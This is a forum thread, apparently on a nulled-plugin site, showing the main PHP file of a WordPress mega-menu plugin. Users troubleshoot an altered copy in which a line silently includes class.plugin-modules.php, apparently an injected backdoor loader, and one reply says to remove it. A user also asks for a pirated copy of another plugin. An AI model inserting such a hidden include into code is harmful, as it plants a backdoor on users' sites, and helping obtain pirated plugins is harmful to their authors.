'ping_status' => 'closed', 'comment_status' => 'closed' ]); if (!$inserted) { throw new Exception(esc_html__('Failed to insert default menu skin!','clever-mega-menu-pro-for-elementor')); } } } } return new Plugin(get_option(Plugin::SETTINGS_KEY, []));
ok thanks, now I'll try
<?php namespace CleverSoft\WpPlugin\Cmm4EPro;
/**
* Plugin Name: Clever Mega Menu Pro for Elementor
* Plugin URI: https://cleveraddon.com/clever-mega-menu-for-elementor
* Description: With ease of visual editing from Elementor Page Builder, Clever Mega Menu for Elementor helps you make stunning navigation menus easily without any coding knowledge. <a href="https://cleveraddon.com/clever-mega-menu-for-elementor">Documentation</a> | <a href="https://cleveraddon.com/clever-mega-menu-for-elementor">ChangeLogs</a></p>
* Author: CleverSoft
* Version: 1.0.9
* Author URI: https://zootemplate.com
* Text Domain: clever-mega-menu-pro-for-elementor
*/
use Exception;
/**
* Plugin container.
*/
final class Plugin
{
/**
* Version
*
* @var string
*/
const VERSION = '1.0.9';
/**
* Option key
*
* @var string
*/
const SETTINGS_KEY = 'cmm4e_pro_settings';
/**
* @var array
*/
private $settings;
/**
* Constructor
*/
public function __construct(array $settings)
{
$this->settings = $settings;
$active_plugins = get_option('active_plugins');
foreach ($active_plugins as $key => $value) {
if ('clever-mega-menu-for-elementor/clever-mega-menu-for-elementor.php' === $value) {
unset($active_plugins[$key]);
}
}
update_option('active_plugins', $active_plugins);
define('CMM4E_PRO_DIR', __DIR__ . '/');
define('CMM4E_PRO_URI', str_replace(['http:', 'https:'], '', plugins_url('/', __FILE__)));
add_action('init', [$this, '_register_assets'], PHP_INT_MAX, 0);
add_action('plugins_loaded', [$this, '_install'], PHP_INT_MAX, 0);
add_action('admin_menu', [$this, '_remove_slugdiv_metabox'], PHP_INT_MAX);
add_action('admin_enqueue_scripts', [$this, '_load_admin_assets'], PHP_INT_MAX);
add_action('wp_enqueue_scripts', [$this, '_load_public_assets'], PHP_INT_MAX, 0);
add_action('elementor/widgets/widgets_registered', [$this, '_register_elementor_widgets']);
add_action('elementor/editor/after_enqueue_scripts', [$this, '_load_elementor_assets'], PHP_INT_MAX);
add_action('activate_clever-mega-menu-pro-for-elementor/clever-mega-menu-pro-for-elementor.php', [$this, '_activate']);
add_action('deactivate_clever-mega-menu-pro-for-elementor/clever-mega-menu-pro-for-elementor.php', [$this, '_deactivate']);
}
/**
* Do activation
*
* @internal Used as a callback.
*
* @see https://developer.wordpress.org/reference/functions/register_activation_hook/
*
* @param bool $network Whether to activate this plugin on network or a single site.
*/
public function _activate($network)
{
try {
$this->preActivate();
} catch (Exception $e) {
exit($e->getMessage());
}
add_option(self::SETTINGS_KEY, [
'flushed_rewrite_rules' => false
]);
}
/**
* Do installation
*
* @internal Used as a callback.
*
* @see https://developer.wordpress.org/reference/hooks/plugins_loaded/
*/
public function _install()
{
if(!did_action('elementor/loaded')) {
add_action('admin_notices', function() {
if(!current_user_can('activate_plugins')) return;
$message = sprintf('<strong>%s</strong> %s', esc_html__('Clever Mega Menu for Elementor ', 'clever-mega-menu-pro-for-elementor'), esc_html__('requires Elementor Page Builder plugin to be active. Please install and activate Elementor Page Builder!', 'clever-mega-menu-pro-for-elementor'));
if(!is_plugin_active('elementor/elementor.php')) {
$activation_url = wp_nonce_url('plugins.php?action=activate&plugin=elementor/elementor.php&plugin_status=all&paged=1&s', 'activate-plugin_elementor/elementor.php');
$button_text = esc_html__('Activate Elementor', 'clever-mega-menu-pro-for-elementor');
} else {
$activation_url = wp_nonce_url(self_admin_url('update.php?action=install-plugin&plugin=elementor'), 'install-plugin_elementor');
$button_text = esc_html__('Install Elementor', 'clever-mega-menu-pro-for-elementor');
}
$button = '<p><a href="' . esc_url($activation_url) . '" class="button-primary">' . esc_html($button_text) . '</a></p>';
printf('<div class="error"><p>%1$s</p>%2$s</div>', $message, $button);
}, 10, 0);
}
// Make sure translation is available.
load_plugin_textdomain('clever-mega-menu-pro-for-elementor', false, __DIR__ . '/languages');
// Load vendor resources.
require __DIR__ . '/includes/vendor/class-leafo-scss-compiler.php';
if (is_admin()) { // Load admin resources.
require __DIR__ . '/includes/admin/pages/dashboard.php';
require __DIR__ . '/includes/admin/pages/import-export.php';
require __DIR__ . '/includes/elementor/controls/document.php';
} else { // Load public resources.
}
// Load common resources.
require __DIR__ . '/includes/widgets/class-cmm4e-menu-widget.php';
require __DIR__ . '/includes/mega-menu-walker.php';
require __DIR__ . '/includes/post-types/cmm4e-menu.php';
require __DIR__ . '/includes/post-types/menu-theme.php';
require __DIR__ . '/includes/post-types/menu-location.php';
require __DIR__ . '/includes/meta/menu-term.php';
require __DIR__ . '/includes/meta/menu-theme.php';
require __DIR__ . '/includes/meta/menu-location.php';
require __DIR__ . '/includes/shortcodes/cmm4e.php';
}
/**
* Do deactivation
*
* @internal Used as a callback.
*
* @see https://developer.wordpress.org/reference/functions/register_deactivation_hook/
*
* @param bool $network Whether to deactivate this plugin on network or a single site.
*/
public function _deactivate($network)
{
// flush_rewrite_rules(false);
}
/**
* Remove slugdiv meta box
*
* @internal Used as a callback.
*
* @param string $context
*
* @see https://developer.wordpress.org/reference/hooks/admin_menu/
*/
function _remove_slugdiv_metabox($context)
{
remove_meta_box('slugdiv', ['cmm4e_menu_theme', 'cmm4e_menu_location'], 'normal');
}
/**
* Register widgets for Elementor
*
* @internal Used as a callback
*/
function _register_elementor_widgets($widget_manager)
{
if (!empty($GLOBALS['post']) && 'cmm4e_menu' === $GLOBALS['post']->post_type) {
return;
}
require __DIR__ . '/includes/elementor/widgets/cmm4e.php';
$widget_manager->register_widget_type(new Cmm4eElementorWidget());
}
/**
* Register assets
*
* @internal Used as a callback.
*/
function _register_assets()
{
// Register stylesheets.
wp_register_style('fontawesome47', CMM4E_PRO_URI . 'assets/vendor/font-awesome/font-awesome.min.css', [], '4.7.0');
wp_register_style('cleverfont', CMM4E_PRO_URI . 'assets/vendor/cleverfont/style.min.css', [], '1.9');
wp_register_style('spectrum', CMM4E_PRO_URI . 'assets/vendor/spectrum/spectrum.min.css', [], '1.8');
wp_register_style('cmm4e-nav-menu', CMM4E_PRO_URI . 'assets/backend/css/cmm4e-nav-menu.min.css', ['cleverfont', 'fontawesome47'], self::VERSION);
wp_register_style('cmm4e-menu-theme', CMM4E_PRO_URI . 'assets/backend/css/cmm4e-menu-theme.min.css', ['cleverfont', 'fontawesome47', 'spectrum'], self::VERSION);
wp_register_style('cmm4e-admin', CMM4E_PRO_URI . 'assets/backend/css/cmm4e-admin.min.css', ['cleverfont', 'fontawesome47'], self::VERSION);
wp_register_style('cmm4e-default-skin-461836', CMM4E_PRO_URI . 'assets/frontend/css/default-skin.min.css', ['fontawesome47', 'cleverfont'], self::VERSION);
// Register scripts.
wp_register_script('spectrum', CMM4E_PRO_URI . 'assets/vendor/spectrum/spectrum.min.js', ['jquery-core'], '1.8', true);
wp_register_script('cmm4e-admin', CMM4E_PRO_URI . 'assets/backend/js/cmm4e-admin.min.js', [], self::VERSION, true );
wp_register_script('cmm4e-menu-theme', CMM4E_PRO_URI . 'assets/backend/js/cmm4e-menu-theme.min.js', ['spectrum'], self::VERSION, true);
wp_register_script('cmm4e-mega-menu', CMM4E_PRO_URI . 'assets/frontend/js/cmm4e.min.js' , ['jquery-core'], self::VERSION, true);
// Localize scripts.
wp_localize_script('cmm4e-admin', 'cmm4eL10n', [
'edit' => esc_html__('Edit', 'clever-mega-menu-pro-for-elementor'),
'editBtn' => esc_html__('CMM4E', 'clever-mega-menu-pro-for-elementor'),
'menuItemOptions' => esc_html__('Menu Item Options', 'clever-mega-menu-pro-for-elementor'),
'assignMenuLocation' => esc_html__('Please assign a menu location!', 'clever-mega-menu-pro-for-elementor'),
'selectMenuTheme' => esc_html__('You haven’t selected a menu skin yet!', 'clever-mega-menu-pro-for-elementor')
]);
wp_localize_script('cmm4e-admin', 'cmm4eConfig', [
'isRTL' => is_rtl(),
'editUrl' => admin_url('?cmm4e-edit-menu-item=true'),
'menuPost' => admin_url('post.php?post_type=cmm4e_menu'),
'_nonce' => wp_create_nonce('cmm4e_menu'),
'menuUrl' => admin_url('nav-menus.php'),
'currentUserRoles' => wp_get_current_user()->roles
]);
wp_localize_script('cmm4e-mega-menu', 'cmm4eFrontendConfig', [
'isRTL' => is_rtl(),
'isMobile' => wp_is_mobile()
]);
// Flush rewrite rules for custom post types.
if (!$this->settings['flushed_rewrite_rules']) {
flush_rewrite_rules(false);
$this->settings['flushed_rewrite_rules'] = true;
update_option(self::SETTINGS_KEY, $this->settings);
}
}
/**
* Load admin assets
*
* @internal Used as a callback.
*
* @param string $hook_suffix Hook suffix of current screen.
*
* @see https://developer.wordpress.org/reference/hooks/admin_enqueue_scripts/
*/
function _load_admin_assets($hook_suffix)
{
if (is_customize_preview()) {
return;
}
wp_enqueue_style('cleverfont');
wp_enqueue_style('fontawesome47');
wp_enqueue_style('cmm4e-admin');
wp_enqueue_script('cmm4e-admin');
if ($hook_suffix === 'toplevel_page_cmm4e-dashboard-page') {
wp_enqueue_style('dashboard');
wp_enqueue_script('dashboard');
}
if ($hook_suffix === 'nav-menus.php') {
wp_enqueue_style('cmm4e-nav-menu');
wp_localize_script('cmm4e-admin', 'cleverMenuItems', $this->get_items_settings($this->get_selected_menu_id()));
}
if ('cmm4e_menu_theme' === $GLOBALS['typenow'] && (isset($_REQUEST['post']) || isset($_REQUEST['post_type']))) {
wp_enqueue_style('cmm4e-menu-theme');
wp_enqueue_script('cmm4e-menu-theme');
}
}
/**
* Load elementor assets
*
* @internal Used as a callback.
*
* @param string $hook_suffix Hook suffix of current screen.
*
* @see https://developer.wordpress.org/reference/hooks/admin_enqueue_scripts/
*/
function _load_elementor_assets()
{
global $post;
if ('cmm4e_menu' !== $post->post_type) {
return;
}
wp_enqueue_script('cmm4e-elementor-editor', CMM4E_PRO_URI . 'assets/backend/js/cmm4e-elementor-editor.min.js', ['elementor-editor'], self::VERSION, true);
}
/**
* Load public assets
*
* @internal Used as a callback.
*
* @param string $hook_suffix Hook suffix of current screen.
*
* @see https://developer.wordpress.org/reference/hooks/wp_enqueue_scripts/
*/
function _load_public_assets()
{
$menus = get_terms([
'hide_empty' => true,
'taxonomy' => 'nav_menu',
'fields' => 'id=>slug'
]);
$themes = [];
$is_cmm4e = false;
if (!empty($menus) && is_array($menus)) {
foreach ($menus as $id => $menu) {
$menu_meta = get_term_meta($id, MenuTermMeta::META_KEY, true);
if (!empty($menu_meta['enabled'])) {
$is_cmm4e = true;
if (!empty($menu_meta['theme']) && 'none' != $menu_meta['theme']) {
$theme = get_page_by_path($menu_meta['theme'], OBJECT, 'cmm4e_menu_theme');
if ($theme && !isset($themes[$menu_meta['theme']])) {
$themes[$menu_meta['theme']] = $theme;
}
}
}
}
if ($themes) {
$uploads = wp_upload_dir();
foreach ($themes as $name => $object) {
$theme_css = $uploads['basedir'] . '/cmm4e/cmm4e-menu-skin-' . $name . '.min.css';
$theme_meta = (array)get_post_meta($object->ID, MenuThemeMeta::META_KEY, true);
if (file_exists($theme_css)) {
wp_enqueue_style('cmm4e-menu-skin-' . $name, $uploads['baseurl'] . '/cmm4e/cmm4e-menu-skin-' . $name . '.min.css' , ['fontawesome47', 'cleverfont'], self::VERSION);
if (!empty($theme_meta['custom_js'])) {
wp_add_inline_script('cmm4e-mega-menu', $theme_meta['custom_js']);
}
} elseif ($name === 'default-menu-skin-461836') {
wp_enqueue_style('cmm4e-default-skin-461836');
}
}
}
}
wp_enqueue_script('cmm4e-mega-menu');
}
/**
* Get menu items' data
*/
private function get_items_settings($menu_id)
{
$items = wp_get_nav_menu_items($menu_id, [
'no_found_rows' => true,
'suppress_filters' => true,
'update_post_meta_cache' => false,
'update_post_term_cache' => false
]);
$menu_items = [];
if ($items) {
foreach ($items as $item) {
$cmm4e_menu_id = get_post_meta($item->ID, 'cmm4e_menu_post_id', true);
$menu_items[$item->ID] = array_merge([
'cmm4e_icon' => '',
'enable_mega' => '',
'hide_title' => '0',
'viewers' => ['role_anyone'],
'disable_link' => '0',
'hide_on_mobile' => '0',
'hide_on_desktop' => '0',
'hide_sub_on_mobile' => '',
'show_badge' => '',
'bagde_label' => esc_html__('New', 'clever-mega-menu-pro-for-elementor'),
'bagde_label_color' => '#fff',
'bagde_background_color' => '#2ed164',
'bagde_border_radius' => [],
'flyout_panel_width' => ['unit' => 'px', 'size' => 260],
'mega_panel_width' => ['unit' => '%', 'size' => 100],
'relative' => '',
'position' => 'left',
], (array)get_post_meta($cmm4e_menu_id, '_elementor_page_settings', true));
}
}
return $menu_items;
}
/**
* Get selected nav menu ID
*/
private function get_selected_menu_id()
{
global $nav_menu_selected_id;
if ($nav_menu_selected_id) {
return $nav_menu_selected_id;
}
$nav_menus = wp_get_nav_menus(['orderby' => 'name']);
$menu_count = count($nav_menus);
$menu_id = isset($_REQUEST['menu'], $_REQUEST['action']) ? (int)$_REQUEST['menu'] : 0;
$add_new_screen = (isset($_GET['menu']) && 0 === $_GET['menu']) ? true : false;
$page_count = wp_count_posts('page');
$one_theme_location_no_menus = (1 === count(get_registered_nav_menus()) && !$add_new_screen && empty($nav_menus) && !empty($page_count->publish)) ? true : false;
$recently_edited = absint(get_user_option('nav_menu_recently_edited'));
if (empty($recently_edited) && is_nav_menu($menu_id)) {
$recently_edited = $menu_id;
}
if (empty($menu_id) && !isset($_GET['menu']) && is_nav_menu($recently_edited)) {
$menu_id = $recently_edited;
}
if (!$add_new_screen && 0 < $menu_count && isset($_GET['action']) && 'delete' === $_GET['action']) {
$menu_id = $nav_menus[0]->term_id;
}
if ($one_theme_location_no_menus) {
$menu_id = 0;
} elseif (empty($menu_id) && !empty($nav_menus) && !$add_new_screen) {
$menu_id = $nav_menus[0]->term_id;
}
return $menu_id;
}
/**
* Pre-activation check
*
* @throws Exception
*/
private function preActivate()
{
global $wpdb;
if (version_compare(PHP_VERSION, '5.6', '<')) {
throw new Exception(esc_html__('This plugin requires PHP version 5.6 at least!','clever-mega-menu-pro-for-elementor'));
}
if (version_compare($GLOBALS['wp_version'], '4.7', '<')) {
throw new Exception(esc_html__('This plugin requires WordPress version 4.7 at least!','clever-mega-menu-pro-for-elementor'));
}
if (!defined('WP_CONTENT_DIR') || !is_writable(WP_CONTENT_DIR)) {
throw new Exception(esc_html__('Your WordPress content directory is not writeable. Please correct permission of the directory before installing this plugin!','clever-mega-menu-pro-for-elementor'));
}
$results = $wpdb->get_results("SELECT ID FROM $wpdb->posts WHERE post_type='cmm4e_menu_theme' AND post_status='publish'");
if (empty($results)) {
$inserted = $wpdb->insert($wpdb->posts, [
'post_type' => 'cmm4e_menu_theme',
'post_name' => 'default-menu-skin-461836',
'post_title' => esc_html__('Default Menu Skin', 'clever-mega-menu-pro-for-elementor'),
'post_status' => 'publish',
'ping_status' => 'closed',
'comment_status' => 'closed'
]);
if (!$inserted) {
throw new Exception(esc_html__('Failed to insert default menu skin!','clever-mega-menu-pro-for-elementor'));
}
}
}
}
return new Plugin(get_option(Plugin::SETTINGS_KEY, []));
From your file<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php
yes brò function!This the original file
Try to remove
From your file
It's the exact same version on here, I have no idea how the code changed on your site.@medw1311
yes, I downloaded it from this site, maybe the version of this plugin needs to be replaced, I wanted to ask you if you can also pass me the Full version of "ElementsKits" because the Mega Menu templates are not all present inside, I would like these templates but the FULL plugin I can't find it on the web if you can help me. These are the models I would like to include
@medw1311
yes, I downloaded it from this site, maybe the version of this plugin needs to be replaced, I wanted to ask you if you can also pass me the Full version of "ElementsKits" because the Mega Menu templates are not all present inside, I would like these templates but the FULL plugin I can't find it on the web if you can help me. These are the models I would like to include
Download Clever Mega Menu for Elementor v1.0.10 Nulled Free
Changelog Not Found!
We get it, advertisements are annoying!
However in order to keep our huge array of resources free of charge we need to generate income from ads so to use the site you will need to turn off your adblocker.
If you'd like to have an ad free experience you can become a Babiato Lover by donating as little as $5 per month. Click on the Donate menu tab for more info.